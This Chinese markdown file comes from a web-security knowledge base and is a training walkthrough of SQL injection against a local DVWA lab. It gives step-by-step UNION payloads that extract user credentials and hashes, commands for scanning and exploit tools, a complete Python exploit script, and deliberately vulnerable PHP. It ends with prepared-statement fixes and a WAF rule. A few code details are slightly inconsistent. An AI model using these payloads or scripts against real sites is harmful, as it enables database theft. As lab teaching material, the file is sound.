文件
websafe-kb/01-sql-injection/exploitation/dvwa-sqli.md
hao cda31e86c7 初始化: Web安全攻防知识库
- 靶场环境: DVWA/WebGoat/Pikachu/BWAPP/SQLi-Labs/XSS-Labs
- SQL注入工具: sqli-scanner.py, blind-sqli.py, sqli-exploit.go
- XSS工具: xss-fuzzer.py, xss-scanner.go
- 认证攻击: web-brute.py, jwt-cracker.py
- 服务端安全: port-scanner.py, tls-scanner.py
- 防御配置: nginx-hardening.conf
- 案例研究: 福建政采网安全评估报告 (13份)
- 同步脚本: sync-gitea.sh
2026-03-16 17:10:23 -07:00

5.5 KiB

DVWA SQL 注入漏洞利用

1. 漏洞概述

靶场: DVWA (Damn Vulnerable Web Application)
漏洞类型: SQL 注入
难度级别: Low / Medium / High / Impossible
影响: 可提取数据库所有数据,包括用户凭证

2. 环境准备

2.1 启动靶场

cd /Users/x/websafe/00-environments
docker-compose up -d dvwa

2.2 访问地址

  • URL: http://localhost:8080/vulnerabilities/sqli/
  • 默认账户: admin / password

2.3 数据库结构

dvwa.users
├── user_id (int)
├── first_name (varchar)
├── last_name (varchar)
├── user (varchar)
├── password (varchar)
├── avatar (varchar)
├── last_login (timestamp)
└── failed_login (int)

3. Low 级别 - 经典注入

3.1 漏洞代码

<?php
$id = $_GET['id'];
$query = "SELECT first_name, last_name FROM users WHERE user_id = '$id'";
$result = mysqli_query($GLOBALS["___mysqli_ston"], $query);
?>

3.2 手动利用

步骤 1: 确认注入点

?id=1' AND '1'='1    // 正常显示
?id=1' AND '1'='2    // 无数据显示 → 存在注入

步骤 2: 确定列数

?id=1' ORDER BY 1-- -    // 正常
?id=1' ORDER BY 2-- -    // 正常
?id=1' ORDER BY 3-- -    // 报错 → 2列

步骤 3: UNION 注入

?id=-1' UNION SELECT 1,2-- -

步骤 4: 提取数据库信息

?id=-1' UNION SELECT database(),user()-- -
// 结果: dvwa, dvwa@localhost

步骤 5: 提取表名

?id=-1' UNION SELECT 1,group_concat(table_name) FROM information_schema.tables WHERE table_schema=database()-- -
// 结果: guestbook,users

步骤 6: 提取列名

?id=-1' UNION SELECT 1,group_concat(column_name) FROM information_schema.columns WHERE table_schema=database() AND table_name='users'-- -
// 结果: user_id,first_name,last_name,user,password,avatar...

步骤 7: 提取用户数据

?id=-1' UNION SELECT user,password FROM users-- -
// 结果:
// admin 5f4dcc3b5aa765d61d8327deb882cf99 (MD5: password)
// gordonb e99a18c428cb38d5f260853678922e03 (MD5: abc123)

3.3 工具利用

# 使用扫描器检测
python3 /Users/x/websafe/01-sql-injection/tools/sqli-scanner.py \
    -u "http://localhost:8080/vulnerabilities/sqli/" \
    -p id \
    -c "PHPSESSID=your_session;security=low"

# 使用盲注工具提取
python3 /Users/x/websafe/01-sql-injection/tools/blind-sqli.py \
    -u "http://localhost:8080/vulnerabilities/sqli/" \
    -p id \
    -c "PHPSESSID=your_session;security=low" \
    --technique bool \
    --extract user

# 使用高性能Go工具
cd /Users/x/websafe/01-sql-injection/tools
go run sqli-exploit.go \
    -u "http://localhost:8080/vulnerabilities/sqli/" \
    -p id \
    --technique time \
    --extract user

4. Medium 级别 - POST 注入

4.1 漏洞代码

<?php
$id = $_POST['id'];
$id = mysqli_real_escape_string($GLOBALS["___mysqli_ston"], $id);
$query = "SELECT first_name, last_name FROM users WHERE user_id = $id";
?>

4.2 利用方式

  • 使用 POST 方法
  • 数字型注入(无需引号)
  • mysqli_real_escape_string 不防护数字型
POST /vulnerabilities/sqli/ HTTP/1.1
Content-Type: application/x-www-form-urlencoded

id=1 UNION SELECT user,password FROM users-- -

4.3 工具利用

python3 /Users/x/websafe/01-sql-injection/tools/sqli-scanner.py \
    -u "http://localhost:8080/vulnerabilities/sqli/" \
    -m POST \
    -d "id=1" \
    -c "PHPSESSID=your_session;security=medium"

5. High 级别 - 限制返回

5.1 漏洞代码

<?php
$id = $_SESSION['id'];
$query = "SELECT first_name, last_name FROM users WHERE user_id = '$id' LIMIT 1";
$result = mysqli_query($GLOBALS["___mysqli_ston"], $query);
?>

5.2 利用方式

  • 通过 Session 传递参数
  • 使用 LIMIT 1 限制
  • 可用 #-- - 绕过 LIMIT
?id=1' UNION SELECT user,password FROM users#

6. Impossible 级别 - 安全实现

6.1 安全代码

<?php
$id = $_GET['id'];
$id = stripslashes($id);
$id = mysql_real_escape_string($id);

if (is_numeric($id)) {
    $query = "SELECT first_name, last_name FROM users WHERE user_id = '$id'";
    $result = mysqli_query($GLOBALS["___mysqli_ston"], $query);
}
?>

6.2 防护措施

  1. CSRF Token - 防止跨站请求伪造
  2. 预处理语句 - 使用 PDO/mysqli prepared statements
  3. 输入验证 - is_numeric() 验证
  4. 输出转义 - htmlspecialchars()

7. 完整利用脚本

#!/usr/bin/env python3
import requests

target = "http://localhost:8080/vulnerabilities/sqli/"
cookies = {"PHPSESSID": "your_session", "security": "low"}

payload = "-1' UNION SELECT user,password FROM users-- -"

r = requests.get(f"{target}?id={payload}", cookies=cookies)
print(r.text)

8. 防御方案

8.1 预处理语句 (PDO)

<?php
$stmt = $pdo->prepare("SELECT * FROM users WHERE user_id = ?");
$stmt->execute([$_GET['id']]);
?>

8.2 mysqli 预处理

<?php
$stmt = $mysqli->prepare("SELECT * FROM users WHERE user_id = ?");
$stmt->bind_param("s", $_GET['id']);
$stmt->execute();
?>

8.3 WAF 规则

# ModSecurity 规则
SecRule ARGS "@rx (?i:union.*select|select.*from|insert.*into|delete.*from)" \
    "id:1001,phase:2,deny,status:403,msg:'SQL Injection Detected'"

9. 总结

级别 注入类型 防护 难度
Low GET 字符串型 简单
Medium POST 数字型 转义 中等
High Session + LIMIT 限制返回 中等
Impossible 预处理 + CSRF 安全